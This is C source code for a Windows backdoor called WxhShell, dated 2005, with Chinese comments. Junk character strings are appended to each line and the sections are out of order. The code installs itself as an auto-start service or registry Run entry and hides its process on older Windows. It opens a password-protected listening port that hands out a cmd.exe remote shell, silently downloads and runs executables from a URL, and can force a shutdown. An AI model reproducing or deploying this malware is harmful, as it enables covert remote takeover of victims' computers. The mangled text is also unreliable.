  case 'd': { {m" I-VF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )!5"\eys  
    if(Boot(SHUTDOWN)) 9 xFX"_J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ub)`-6 u  
    else { e09QaY  
    closesocket(wsh); N`LY$U+N|  
    ExitThread(0); ooj^Z%9P  
    } 0e j*0"Mq  
    break; =- !B4G$  
    } eY_BECJ+OO  
  // 获取shell  /EwNMU*6  
  case 's': { #yOeL3|b'  
    CmdShell(wsh); S^r[%l<'n  
    closesocket(wsh); .]/k#Hv  
    ExitThread(0); ?}No'E1!I  
    break; ygxaT"3"=  
  } RggO|s+0;  
  // 退出 |&~);>Cq2  
  case 'x': { wvH*<,8V q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 33NzQb  
    CloseIt(wsh); LG=_>:~t>  
    break; !X1 KOG  
    } =g)SZK  
  // 离开 jsq|K=x,  
  case 'q': { lN7YU-ygz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }sM_^&e4X  
    closesocket(wsh); 9w-;d=(Q  
    WSACleanup(); MX7$f (Hy  
    exit(1); VVc-Dx  
    break; ,PX7}//X^  
        } uC?/p1  
  } j^ttTq|l  
  } hne}G._b  
J74kK#uF=  
  // 提示信息 =j8g6#'u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uy([>8uu  
} tw<}7l_>Au  
  } Q.SqOHeJ  
JiGS[tR  
  return; *s!T$oc  
} WDh*8!)  
BUXlHh%<R  
// shell模块句柄 -_f-j  
int CmdShell(SOCKET sock) 2`V(w[zTr  
{ 1Ch0O__2L  
STARTUPINFO si; 6t4{aa!L|9  
ZeroMemory(&si,sizeof(si)); }KV)F,`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `LJ.NY pP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  !~]'&9  
PROCESS_INFORMATION ProcessInfo; _J0(GuG=~  
char cmdline[]="cmd"; U)SQ3*j2D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :D:J_{HJ  
  return 0; ;RW5XnVx  
} dDqT#N?Y  
z*WQ=l2  
// 自身启动模式 XpdjWLO]C<  
int StartFromService(void) n0w0]dJ&lc  
{ xfA@GYCfT  
typedef struct Xnxb.{C  
{ G4"[ynlWV  
  DWORD ExitStatus; 4iJ4g%]  
  DWORD PebBaseAddress; -9(nsaV  
  DWORD AffinityMask; `12Y2W 9  
  DWORD BasePriority; D`PA@t  
  ULONG UniqueProcessId; LP} j0)n  
  ULONG InheritedFromUniqueProcessId; VB~Do?]*k%  
}   PROCESS_BASIC_INFORMATION; 3MoVIf1  
B &)wJG  
PROCNTQSIP NtQueryInformationProcess; ;z9U_  
hD7Lgi-N)W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f1I/aRV:+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; da$ErN '{  
_x<7^^VT  
  HANDLE             hProcess; 0fx.n  
  PROCESS_BASIC_INFORMATION pbi; kQ.3J.Q5  
!D 9V9p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 03 ;L  
  if(NULL == hInst ) return 0; S,#UA%V"  
nk+9 J#Gs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .7n`]S/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P,7beHjf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (E \lLlN  
S~{ }j vc  
  if (!NtQueryInformationProcess) return 0; -7m7.>/M  
YF13&E2`\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CjU?3Ag  
  if(!hProcess) return 0; oTf^-29d  
|]OI)w*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,h'omU7  
cnM`ywKW  
  CloseHandle(hProcess); ^ ]SU (kY  
:Q>{Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x-SYfvYY  
if(hProcess==NULL) return 0; Xl/2-'4  
19i [DR  
HMODULE hMod; \`YV)"y" ~  
char procName[255]; fCi1JH;  
unsigned long cbNeeded; `^ uX`M/  
h5@JS1cY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KOD%>+vG$  
Wq*W+7=.  
  CloseHandle(hProcess); FMAt6HfU  
n#)kvr  
if(strstr(procName,"services")) return 1; // 以服务启动 jn>RE   
0zXF{5Up  
  return 0; // 注册表启动 ljjnqQ%  
} >>0c)uC|W  
,kE"M1W  
// 主模块 CDWchY  
int StartWxhshell(LPSTR lpCmdLine) 3mXRLx=0>  
{ oY7 eVuz  
  SOCKET wsl; +'9eo%3O  
BOOL val=TRUE; +JY]J89  
  int port=0; xBAASy  
  struct sockaddr_in door; e",0Er FT  
x$24Nc1a'  
  if(wscfg.ws_autoins) Install(); vkW]?::Cfd  
VY "i>Ae  
port=atoi(lpCmdLine); 79>_aD9  
CM+/.y T  
if(port<=0) port=wscfg.ws_port; W.  p'T}2  
L_}F.nbS5  
  WSADATA data; 7)y +QU]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .0]Odf:@  
1)ZdkTF@H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jLreN#:9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PA>su)N$  
  door.sin_family = AF_INET; 1'9YY")#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4z!(!J )  
  door.sin_port = htons(port); q@Sj$  
yx/.4DW1Ua  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2R`}}4<Z  
closesocket(wsl); s%t =*+L\  
return 1; *gN)a%9  
} t`vIcCXqyl  
\m1jV>q  
  if(listen(wsl,2) == INVALID_SOCKET) { ??=7pFm  
closesocket(wsl); oOHr~<  
return 1; IsP!ZcV;  
} ph=U<D4  
  Wxhshell(wsl); bd3q207>  
  WSACleanup(); S&;D  
|=ljN7]!  
return 0; nWv6I&  
M7SVD[7~HM  
} VseeU;q  
s@5r}6?M  
// 以NT服务方式启动 IP l]$j>N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VHTr;(]hk  
{ +v"%@lC};  
DWORD   status = 0; q<w Q/m  
  DWORD   specificError = 0xfffffff; 1<3!   
= j S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !gFUC<4bu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kIYV%O   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &p:GB_  
  serviceStatus.dwWin32ExitCode     = 0; N!^5<2z@eT  
  serviceStatus.dwServiceSpecificExitCode = 0; kS$m$ D  
  serviceStatus.dwCheckPoint       = 0; a1# 'uS9W  
  serviceStatus.dwWaitHint       = 0; ;U$EM+9  
]$?\,`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f)!7/+9>  
  if (hServiceStatusHandle==0) return; %R LGO&  
f2RIOL,  
status = GetLastError(); o:Q.XWa@MG  
  if (status!=NO_ERROR) jd?NN:7  
{ {-)*.l=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x>~.cey  
    serviceStatus.dwCheckPoint       = 0; Q1?0 ]5  
    serviceStatus.dwWaitHint       = 0; y`.m'n7>P  
    serviceStatus.dwWin32ExitCode     = status; ^ ]CQd   
    serviceStatus.dwServiceSpecificExitCode = specificError; 8S7 YVsDz"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [49Ae2W`  
    return; ELQc: t -2  
  } Z|qUVD5Ic  
cp<jwcc!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9aZ^m$tAt  
  serviceStatus.dwCheckPoint       = 0; }uk]1M2=  
  serviceStatus.dwWaitHint       = 0; lF.yQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !0 -[}vvU  
} '7TT4~F  
d3K-|  
// 处理NT服务事件,比如:启动、停止 Q!"W)tD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?tFsSU  
{ I 6Mr[#*  
switch(fdwControl) UIi`bbJ  
{ >PMLjXK  
case SERVICE_CONTROL_STOP: 5WG:m'$$  
  serviceStatus.dwWin32ExitCode = 0; 9V( esveq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?br4 wl  
  serviceStatus.dwCheckPoint   = 0; [u}2xsSx  
  serviceStatus.dwWaitHint     = 0; &%`Y>\@f  
  { YN 31Lo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A J"/T+g_  
  } RTRi{p  
  return; q X>\*@  
case SERVICE_CONTROL_PAUSE: {Qr0pjE7R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [p[C45d=<  
  break; vQIN#;m4  
case SERVICE_CONTROL_CONTINUE: LX_{39?<{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;(,1pi7|  
  break; ZP^7`q)6  
case SERVICE_CONTROL_INTERROGATE: ;IX*4E'4s  
  break; Z* L{;  
}; H{nYZOf/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UAq%Y8KA  
} }g|)+V\A  
J}J7A5P  
// 标准应用程序主函数 p7kH"j{xD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yCOIv!/zy  
{ s;4r)9Uvx  
VPqMbr"L[  
// 获取操作系统版本 zS+_6s  
OsIsNt=GetOsVer(); R x.]m0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {f<\`  
K JX@?1"  
  // 从命令行安装 e<[0H 8  
  if(strpbrk(lpCmdLine,"iI")) Install(); OGqsQ  
OlF5~VAbfb  
  // 下载执行文件 v9R"dc]0h  
if(wscfg.ws_downexe) { [#-!&>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =j{r95)|u  
  WinExec(wscfg.ws_filenam,SW_HIDE); b&1-tYV  
} <m3or  
/)E'%/"A  
if(!OsIsNt) { du k:: |{F  
// 如果时win9x,隐藏进程并且设置为注册表启动 KGoHn6jM  
HideProc(); Ee?+IZ H7|  
StartWxhshell(lpCmdLine); 'fkaeFzOl  
} ie%_-  
else lSk<euCYs  
  if(StartFromService()) czv )D\*  
  // 以服务方式启动 3 JR1If  
  StartServiceCtrlDispatcher(DispatchTable); Lc:DJA  
else *b >hZkObn  
  // 普通方式启动 %"> Oy&3  
  StartWxhshell(lpCmdLine); R1=ir# U|D  
mv+K!T6  
return 0; J$Qm:DC5  
} [M{EO)  
3!V$fl0  
p/f!\  
b-XC\  
=========================================== wuQ>|\Zs  
XgmblNp1  
N2x!RYW  
Vt!<.8&`  
_noQk3N  
$EJ*x$  
" 4C /8hsn  
.bl0w"c^qq  
#include <stdio.h> Z"? AaD[  
#include <string.h> Jb-wvNJu  
#include <windows.h> y`Pp"!P"O  
#include <winsock2.h> BHmA*3?  
#include <winsvc.h> 8{+~3@T  
#include <urlmon.h> )C2d)(baEJ  
^qbX9.\  
#pragma comment (lib, "Ws2_32.lib") }WGi9\9T&  
#pragma comment (lib, "urlmon.lib") YLd 5  
CHpDzG>]4  
#define MAX_USER   100 // 最大客户端连接数 ,.FTw,<  
#define BUF_SOCK   200 // sock buffer >KY\Bx  
#define KEY_BUFF   255 // 输入 buffer G P1>h.J  
W,{`)NWg  
#define REBOOT     0   // 重启 G^mk<pH  
#define SHUTDOWN   1   // 关机 SbnV U[  
\>=YxB q  
#define DEF_PORT   5000 // 监听端口 -N\{QX1Yd  
N~>?w#?J  
#define REG_LEN     16   // 注册表键长度 Rg[e~##  
#define SVC_LEN     80   // NT服务名长度 {t/!a0\HS  
3`9*Hoy0c  
// 从dll定义API .;KupQ;*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NuO>zAu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ok`U*j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mz++SPG7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W=EO=}l#  
f,L  
// wxhshell配置信息 tiE+x|Ju"  
struct WSCFG { ~$\j$/A8/  
  int ws_port;         // 监听端口 93WYZNpX  
  char ws_passstr[REG_LEN]; // 口令 wO!hVm,T a  
  int ws_autoins;       // 安装标记, 1=yes 0=no fd,~Yj$R?  
  char ws_regname[REG_LEN]; // 注册表键名 oNU* q.Q  
  char ws_svcname[REG_LEN]; // 服务名 $GO'L2oLwn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kxn;;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5nj~RUK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \34|9#*z-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m~U{ V9;*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'j)eqoj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4a @iR2e  
Qx,G3m[}  
}; %@&)t?/=  
<C>i~ <`d  
// default Wxhshell configuration g^C6"rsnl  
struct WSCFG wscfg={DEF_PORT, #] GM#.  
    "xuhuanlingzhe", y*(YZzF  
    1, v4zd x)  
    "Wxhshell", ZkIQ-;wx  
    "Wxhshell",  XGoy#h  
            "WxhShell Service", |K_B{v.   
    "Wrsky Windows CmdShell Service", Ii,:+o%  
    "Please Input Your Password: ", PW`Tuj  
  1, ,pASjFWi  
  "http://www.wrsky.com/wxhshell.exe", *@& "MZ/M  
  "Wxhshell.exe" -0X> y  
    }; []]3"n  
JgB# EoF  
// 消息定义模块 'AAY!{>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f lB,_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (Lo2fY5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u .2sB6}  
char *msg_ws_ext="\n\rExit."; 19.cf3Dh  
char *msg_ws_end="\n\rQuit."; dc>y7$2  
char *msg_ws_boot="\n\rReboot...";  * [5  
char *msg_ws_poff="\n\rShutdown..."; `aUp&8{  
char *msg_ws_down="\n\rSave to "; EDo@J2A  
-"zu"H~t4  
char *msg_ws_err="\n\rErr!"; ! -c*lb  
char *msg_ws_ok="\n\rOK!"; 2jW>uk4/i  
&FrB6 y  
char ExeFile[MAX_PATH]; #I?iR 3u  
int nUser = 0; >>$|,Q-.  
HANDLE handles[MAX_USER]; re!8nuBsA  
int OsIsNt; D H !Br  
 z\tJ~  
SERVICE_STATUS       serviceStatus; )!d1<p3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w4'K2 7  
(g m^o{  
// 函数声明 hzLGmWN2j8  
int Install(void); nEm7&Gb  
int Uninstall(void); `&_k\/  
int DownloadFile(char *sURL, SOCKET wsh); 1[l>D1F?  
int Boot(int flag); H040-Q;S'  
void HideProc(void); #0u69  
int GetOsVer(void); JJ?ri,  
int Wxhshell(SOCKET wsl); a{*'pY(R0$  
void TalkWithClient(void *cs); l _ O~v?  
int CmdShell(SOCKET sock); vB5iG|b}  
int StartFromService(void); z[%v _S  
int StartWxhshell(LPSTR lpCmdLine); 0NtsFPO  
g u =fq\`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 23$hwr&G\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %"Q!5qH&  
:EwA$`/  
// 数据结构和表定义 /Q8A"'Nk  
SERVICE_TABLE_ENTRY DispatchTable[] = 2U'JzE^Do  
{ xqWrW)  
{wscfg.ws_svcname, NTServiceMain}, W 'a~pB1I  
{NULL, NULL} XOg(k(&T  
}; !* Z)[[  
jL+}F/~r  
// 自我安装 K4/P(*r`  
int Install(void) +Z&&H'xD  
{ /v)!m&6]>  
  char svExeFile[MAX_PATH]; 8+a<#? ;  
  HKEY key; UUf1T@-  
  strcpy(svExeFile,ExeFile); ^P g YP  
pt%~,M _  
// 如果是win9x系统,修改注册表设为自启动 SE9u2Jk  
if(!OsIsNt) { $;i$k2n:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 11<@++,i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5rA!VES T  
  RegCloseKey(key); uU(G_E ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e1^{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cvV?V\1f  
  RegCloseKey(key); <<On*#80w  
  return 0; ;=VK _3"  
    } B%rr}Ro1e  
  } Ky9No"o  
} ZYR,8y  
else { 2PP-0 E  
KT;C RO>  
// 如果是NT以上系统,安装为系统服务 2}`Vc{\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D0y,TF  
if (schSCManager!=0) ds$\vSd  
{ />^`*e_  
  SC_HANDLE schService = CreateService -=Eq/s u%  
  ( YNgR1 :l  
  schSCManager, _ U8OIXN  
  wscfg.ws_svcname, `k{ff  
  wscfg.ws_svcdisp, *VC4s`<  
  SERVICE_ALL_ACCESS, ;TV'PJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , me[J\MJ;w^  
  SERVICE_AUTO_START, &pMlt7  
  SERVICE_ERROR_NORMAL, FM"GK '  
  svExeFile, %YvSHh;c  
  NULL, OZC/+"\,  
  NULL, V:G}=~+=  
  NULL, 0(U3~ k6  
  NULL, z@%/r~?|  
  NULL |Y8Mk2,s  
  ); [Z5}2gB&  
  if (schService!=0) 7<QYT+6xV  
  { {b-0_  
  CloseServiceHandle(schService); :L [YmZ  
  CloseServiceHandle(schSCManager); @wB'3q}(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3vRL g b  
  strcat(svExeFile,wscfg.ws_svcname); k;K> ,$ F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `hK>bHj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qrM{b=  
  RegCloseKey(key); fbHWBb  
  return 0; VeD+U~ d  
    } p;n3`aVh  
  } gf3u0' $  
  CloseServiceHandle(schSCManager); G&%nF4  
} iJdrY 6qd  
} k}I5x1>&  
J:g<RZZ1  
return 1; _>jrlIfc  
} U+9- li  
0gv3v@QO  
// 自我卸载 c#\ah}]Vo  
int Uninstall(void) @Hspg^  
{ Wk\mgGn+  
  HKEY key; XQ0#0<  
kwDh|K  
if(!OsIsNt) { 'B:Z=0{>N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r&%gjqt  
  RegDeleteValue(key,wscfg.ws_regname); 8m/FKO (r  
  RegCloseKey(key); HsjELbH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RI[7M (  
  RegDeleteValue(key,wscfg.ws_regname); ^Txu ~r0@  
  RegCloseKey(key); 2d5}`>  
  return 0; Tsm)&$JI8  
  } SZim>@R  
} jy\W_CT  
} RsqRR`|X?  
else { c W81  
w|!YoMk+o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MO));M)  
if (schSCManager!=0) Ax5mP8S  
{ VZT6;1TD$8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SWNU1x{,c\  
  if (schService!=0) 5`4}A%@&  
  { bc3|;O  
  if(DeleteService(schService)!=0) { vh9kwJyT  
  CloseServiceHandle(schService); Ph(]?MG\_  
  CloseServiceHandle(schSCManager); s jL*I  
  return 0; ,~?A,9?%:  
  } s"I-YFP%c  
  CloseServiceHandle(schService); nuf@}W>y  
  } ;yk9(wea}"  
  CloseServiceHandle(schSCManager); /#-,R,Q  
} ;jRL3gAe)  
} ]4Nvh\/P9  
/~H[= Pf  
return 1; r+imn&FK8  
} RpHpMtvNo/  
^-gfib|VGe  
// 从指定url下载文件 @IEI%vH  
int DownloadFile(char *sURL, SOCKET wsh) Xtuhcdzu[  
{ T6sr/<#<(  
  HRESULT hr; X HWh'G9  
char seps[]= "/"; MC4284A5  
char *token; 3x04JE3!  
char *file; 7ZS>1  
char myURL[MAX_PATH]; Dl0/-=L  
char myFILE[MAX_PATH]; \w{@u)h  
qru2h #  
strcpy(myURL,sURL); yr FZ~r@-  
  token=strtok(myURL,seps); >nc4v6s  
  while(token!=NULL) l'|E,N>X  
  { Z 6 tE{/  
    file=token; }BA9Ka#%  
  token=strtok(NULL,seps); I)[`ZVAXR  
  } %GM>u2baw  
=hJfL}&O3  
GetCurrentDirectory(MAX_PATH,myFILE); MB1sQReOO  
strcat(myFILE, "\\"); U'rr?,RML  
strcat(myFILE, file); bBA$}bv  
  send(wsh,myFILE,strlen(myFILE),0); - o4@#p>>  
send(wsh,"...",3,0); 7 n\mj\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iwvt%7  
  if(hr==S_OK) _~juv&  
return 0; 5(423"(y  
else L {!ihJr  
return 1; D)y{{g*Lnm  
f(!E!\&n^  
} +Dd"41  
|Mt&p#y  
// 系统电源模块 w2k<)3 g~  
int Boot(int flag) -RGPt D@  
{ \$j^_C>  
  HANDLE hToken; %Nl`~Kz9U  
  TOKEN_PRIVILEGES tkp; ~ W@X-  
ooY\t +  
  if(OsIsNt) { JwjI{,jY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  -H`\? R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K|US~Hgv  
    tkp.PrivilegeCount = 1; :"VujvFX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +yCTH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^/k ,  
if(flag==REBOOT) { F%Kp9I*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R'L?Xn}3  
  return 0; #Gd7M3  
} ("OAPr\2dw  
else { 7^Na9]PY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !Qcir&]C>  
  return 0; w(Gz({l+  
} 7RD$=?oO'  
  } A?DB#-z.r  
  else { Nl { 7  
if(flag==REBOOT) { $6# lTYN~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yQ'eu;+]  
  return 0; %MbyKz:X  
} n08; <  
else { Hng!'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~\ [?wN  
  return 0; 9s(i`RTM  
} Fom>'g*  
} q4k.f_{  
PS$k >_=t  
return 1; nS.2C>A  
} PyFj@n  
' l|R5   
// win9x进程隐藏模块 SRItE\"Xe  
void HideProc(void) ~r&D6Y  
{ MxTmWsaW  
q? 9GrwL8F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (N0sE"_~I5  
  if ( hKernel != NULL ) > ws!5q  
  { v,jhE9_O0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x,\!DLq:p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hg8Be6G <  
    FreeLibrary(hKernel); (ND%}  
  } m2O&2[g  
t8/%D gu  
return; cIb4-TeV  
} SO3cY#i z"  
/c#l9&,  
// 获取操作系统版本 76bc]o#  
int GetOsVer(void) ^C7C$TZS  
{ 'I v_mig  
  OSVERSIONINFO winfo; 63M=,0-Qt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )xt4Wk/  
  GetVersionEx(&winfo); [7.agI@=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _mk5^u/u  
  return 1; 41yOXy ;~l  
  else ){ gAj  
  return 0; k.GA8=]>  
} k>5O`Y:  
8+&JQ"UaB  
// 客户端句柄模块 6/1$< !WH  
int Wxhshell(SOCKET wsl) 3m=2x5 {L  
{ *_"u)<J  
  SOCKET wsh; :1;Q(9:v  
  struct sockaddr_in client; !ni>\lZ  
  DWORD myID;  ;:OsSq&  
w z=z?AZW  
  while(nUser<MAX_USER) 1'O0`Me>#  
{  zF: j  
  int nSize=sizeof(client); .~mCXz<x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8\# ^k#X  
  if(wsh==INVALID_SOCKET) return 1; >qh?L#Fk  
g_z/{1$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FjFwvO_.  
if(handles[nUser]==0) }ZzLs/v%X  
  closesocket(wsh); %|+E48  
else +S9PML){h  
  nUser++; ^E,1V5  
  } CDdkoajBa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X3B{8qx_>  
&tE.6^F  
  return 0; LM"y\q ]  
} DWm SC}{.  
e:-8k_0|  
// 关闭 socket *e/K:k  
void CloseIt(SOCKET wsh) b$- e\XB!  
{ xs!p|  
closesocket(wsh); lZWX7FO'  
nUser--; VKW|kU7Cs$  
ExitThread(0); _Qd,VE 8u  
}  +sZUJ  
IIz0m3';+  
// 客户端请求句柄 YZE.@Rz  
void TalkWithClient(void *cs) L?RF;jf  
{ <Q5Le dN  
CxF-Z7 '  
  SOCKET wsh=(SOCKET)cs; ?c#$dc"  
  char pwd[SVC_LEN]; \Fb| {6+  
  char cmd[KEY_BUFF]; '2nqHX D  
char chr[1]; s;1h-Oq (  
int i,j; XDz5b.,  
Q0cRH"!:  
  while (nUser < MAX_USER) { jirbUl  
23ze/;6%A  
if(wscfg.ws_passstr) { pq! %?m]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !#x=JX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q/gB<p9  
  //ZeroMemory(pwd,KEY_BUFF); ]v29 Rx  
      i=0; .v\\Tq&"|  
  while(i<SVC_LEN) { 6}dR$*=  
0l\y.   
  // 设置超时 =A!S/;z>  
  fd_set FdRead; P0GeZ02]  
  struct timeval TimeOut; buMq F-j  
  FD_ZERO(&FdRead); >3v0yh_3  
  FD_SET(wsh,&FdRead); ,^Ex}Z  
  TimeOut.tv_sec=8; :Xb*m85y  
  TimeOut.tv_usec=0; >:="?'N5l!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D "JMSL4r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 77)OW $G  
^w.k^U=B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4X<Oux*  
  pwd=chr[0]; N;%j#(v j  
  if(chr[0]==0xd || chr[0]==0xa) { a g|9$  
  pwd=0; T9aTEsA[U  
  break; KB$ vQ@N  
  } NHst7$Y<  
  i++; =f/avGX  
    } wI|bBfd(  
6,sRavs  
  // 如果是非法用户,关闭 socket eW<!^Aer  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <e@I1iL37y  
} Lx|w~+k}  
&Z#Vw.7U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZYpD8u6U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ] I N -  
EfMG(oI  
while(1) { aTmX!!  
 ."$=  
  ZeroMemory(cmd,KEY_BUFF); 1aXIhk4  
O :5ldI  
      // 自动支持客户端 telnet标准   ?etj.\q6  
  j=0; q{N lF$X  
  while(j<KEY_BUFF) { aC $h_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6EW"8RG`  
  cmd[j]=chr[0]; L>|A6S#y8/  
  if(chr[0]==0xa || chr[0]==0xd) { R$~JhcX*l'  
  cmd[j]=0; cHfK-R  
  break; #RsIxpc  
  } J\,@Bm|1n{  
  j++; 7]0\[9DyJ  
    } M $E8:  
* S+7BdP  
  // 下载文件 *{L<BB^  
  if(strstr(cmd,"http://")) { CVn;RF6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EV;;N  
  if(DownloadFile(cmd,wsh)) pw(*X,gj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `0-m`>1>  
  else Tg}H < T  
